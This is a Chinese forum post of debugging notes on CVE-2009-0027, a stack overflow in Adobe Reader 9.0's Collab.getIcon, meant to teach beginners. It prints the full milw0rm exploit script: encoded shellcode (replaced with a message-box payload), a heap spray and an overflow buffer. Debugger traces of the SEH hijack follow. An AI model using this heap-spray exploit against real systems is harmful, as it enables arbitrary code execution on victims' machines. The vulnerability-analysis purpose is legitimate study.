[原创]CVE-2009-0027调试笔记
发表于:
2009-9-20 03:05
24477
调试环境:WinXP sp3
调试对象:Adobe Reader 9.0 English
调试工具:OD + Windbg + IDA5.0 + Diffing Suite
其实,milw0rm上2009年9月3号公布的样本中包含了漏洞的分析,这里只是整理一下,希望能给像我一样的菜鸟些帮助。高手飘过~~~
一、漏洞描述
描述来自绿盟:
http://www.nsfocus.net/vulndb/13122
通过描述可以知道该漏洞是栈溢出。
二、样本说明
样本来自milw0rm
http://www.milw0rm.com/exploits/9579
我把其中的shellcode换成failwest大侠弹出对话框的那个;并对shellcode稍作修改,把其中的“failwest”换成了“pandascu”。样本见附件
分析之前对样本的脚本做简单解释:
Var shellcode = unescape("%u68fc%u0a6a%u1e38%u6368%ud189%u684f%u7432%u0c91%uf48b%u7e8d%u33f4%ub7db%u2b04%u66e3%u33bb%u5332%u7568%u6573%u5472%ud233%u8b64%u305a%u4b8b%u8b0c%u1c49%u098b%u698b%uad08%u6a3d%u380a%u751e%u9505%u57ff%u95f8%u8b60%u3c45%u4c8b%u7805%ucd03%u598b%u0320%u33dd%u47ff%u348b%u03bb%u99f5%ube0f%u3a06%u74c4%uc108%u07ca%ud003%ueb46%u3bf1%u2454%u751c%u8be4%u2459%udd03%u8b66%u7b3c%u598b%u031c%u03dd%ubb2c%u5f95%u57ab%u3d61%u0a6a%u1e38%ua975%udb33%u6853%u7361%u7563%u7068%u6e61%u8b64%u53c4%u5050%uff53%ufc57%uff53%uf857");
garbage = unescape("%u9090%u9090%u9090%u9090%u9090%u9090%u9090");
while (garbage.length < 0x100)
garbage += garbage;
garbage += shellcode;
nopblock = unescape("%u9090%u9090");
headersize = 16;
acl = headersize + garbage.length;
while (nopblock.length < acl)
nopblock += nopblock;
fillblock = nopblock.substring(0, acl);
block = nopblock.substring(0, nopblock.length - acl);
while(block.length + acl < 0x26000)
block = block + block + fillblock;
memory = new Array();
for (i=0;i<1024;i++)
memory[i] = block + garbage;
//heap spray(堆喷射),需要说明的是要分配1024块512k(具体是0x81000,可以用od看到)大小的堆
var buffer = unescape("%0a%0b%0a%0b");
//0x0b0a0b0a是漏洞触发后要跳到的地方,这个值很灵活的
while(buffer.length < 0x6000)
//这里规定了栈溢出需要的长度,后面分析发现是不需要这么大的
buffer += buffer;
app.doc.Collab.getIcon(buffer+'pwn3D.BYkralor');
//引起漏洞的函数
eax=7efcfefc ebx=00008004 ecx=00001aca edx=0b0a0b0a esi=044661ac edi=00130000
eip=78180725 esp=0012e8c4 ebp=0012e96c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\WINDOWS\WinSxS\x86_Microsoft.VC80.CRT_1fc8b3b9a1e18e3b_8.0.50727.762_x-ww_6b128700\MSVCR80.dll -
MSVCR80!strncpy+0xa5:
78180725 8917 mov dword ptr [edi],edx ds:0023:00130000=78746341
0012E8D4 0012EB24
0012E8D8 04699DA4
0012E8DC 00008004
2210FE16 56 PUSH ESI ; count=0x8004
2210FE17 57 PUSH EDI ; strSource=04699da4
2210FE18 8B3D 00543422 MOV EDI,DWORD PTR DS:[<&MSVCR80.strncpy>>; MSVCR80.strncpy
2210FE1E 8D85 B8010000 LEA EAX,DWORD PTR SS:[EBP+1B8]
2210FE24 50 PUSH EAX ; strDest = 0012eb24
2210FE25 FFD7 CALL EDI ; MSVCR80.strncpy
78180725 8917 MOV DWORD PTR DS:[EDI],EDX
78180727 83C7 04 ADD EDI,4
7818072A 83E9 01 SUB ECX,1
7818072D ^ 74 9F JE SHORT MSVCR80.781806CE
寄存器值:
EAX 7EFCFEFC
ECX 00001ACA
EDX 0B0A0B0A
EBX 00008004
ESP 0012E8C4
EBP 0012E96C
ESI 044C817C
EDI 00130000 ASCII "Actx "
EIP 78180725 MSVCR80.78180725
7C923297 FF75 14 PUSH DWORD PTR SS:[EBP+14]
7C92329A FF75 10 PUSH DWORD PTR SS:[EBP+10]
7C92329D FF75 0C PUSH DWORD PTR SS:[EBP+C]
7C9232A0 FF75 08 PUSH DWORD PTR SS:[EBP+8]
7C9232A3 8B4D 18 MOV ECX,DWORD PTR SS:[EBP+18]
[COLOR="red"]7C9232A6 FFD1 CALL ECX
7C9232A8 64:8B25 0000000>MOV ESP,DWORD PTR FS:[0]
寄存器值:
EAX 00000000
[COLOR="red"]ECX 0B0A0B0A
EDX 7C9232BC ntdll.7C9232BC
EBX 00000000
ESP 0012E4F8
EBP 0012E514
ESI 00000000
EDI 00000000
EIP 7C9232A6 ntdll.7C9232A6
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)
上传的附件: